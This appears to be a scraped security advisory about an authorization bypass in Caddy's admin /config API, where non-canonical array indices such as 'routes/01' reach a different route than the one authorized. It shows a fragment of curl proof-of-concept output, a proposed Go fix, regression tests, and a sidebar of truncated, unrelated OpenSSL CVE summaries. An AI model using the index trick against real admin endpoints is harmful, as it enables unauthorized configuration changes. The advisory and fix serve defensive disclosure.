> GET /config/apps/http/servers/srv/routes/01 HTTP/1.1
> Host: localhost:2031
> User-Agent: curl/8.5.0
> Accept: */*
>
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 200 OK
< Content-Type: application/json
< Etag: "/config/apps/http/servers/srv/routes/01 a757e3a3168ca4e0"
< Date: Fri, 20 Mar 2026 02:15:49 GMT
< Content-Length: 70
<
{"handle":[{"body":"patched route one","handler":"static_response"}]}
* Connection #0 to host localhost left intact
root@dbdd95a60758:/caddy
#Suggested Fix
The authorization layer should not allow a path that resolves to a different config object than the one represented by the authorized path.
A practical fix would be to reject non-canonical numeric array components in /config traversal and/or authorization.
For example:
- allow 0
- allow 1
- reject 01
- reject 002
One possible helper:
func parseCanonicalIndex(s string) (int, error) {
if s == "" {
return 0, fmt.Errorf("empty index")
}
if s != "0" && strings.HasPrefix(s, "0") {
return 0, fmt.Errorf("non-canonical array index")
}
return strconv.Atoi(s)
}Then use that helper anywhere /config array indices are parsed.
Why This Fix Makes Sense
This preserves intended config addressing while preventing ambiguous selectors from referring to different objects than the authorization layer appears to permit.
It would still allow:
- /routes/0
- /routes/1
but reject:
- /routes/01
- /routes/002
That removes the authorization/resource mismatch.
Suggested Regression Tests
- Allow /config/apps/http/servers/srv/routes/0, request /.../routes/0, expect allowed.
- Allow /config/apps/http/servers/srv/routes/0, request /.../routes/01, expect denied or invalid.
- Allow /config/apps/http/servers/srv/routes/0, request /.../routes/02, expect denied or invalid.
- With PATCH allowed on /.../routes/0, verify that /.../routes/01 cannot modify routes[1].
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Malicious file upload attacks exploit insufficient validation when web applications accept user-provided files.
The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe
In order to decrypt SM2 encrypted data an application is expected to call the API function EVP_PKEY_decrypt(). Rated cri
The dtls1_reassemble_fragment function in d1_both.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
The SSLv2 protocol, as used in OpenSSL before 1.0.1s and 1.0.2 before 1.0.2g and other products, requires a server to se
The ssl3_get_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8zd, 1.0.0 before 1.0.0p, and 1.0.1 before 1.0.1k
In addition to the c_rehash shell command injection identified in CVE-2022-1292, further circumstances where the c_rehas
The TLS protocol 1.2 and earlier, when a DHE_EXPORT ciphersuite is enabled on a server but not on a client, does not pro
The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other products, uses nondeterministic CBC padding, which mak
The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a
The X509_verify_cert function in crypto/x509/x509_vfy.c in OpenSSL 1.0.1n, 1.0.1o, 1.0.2b, and 1.0.2c does not properly
A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. Rated hig
EUVD-2026-38559
GHSA-x5w9-xh9r-mvfc
NVD
CVE.org
EPSS
VulDB
Exploit-DB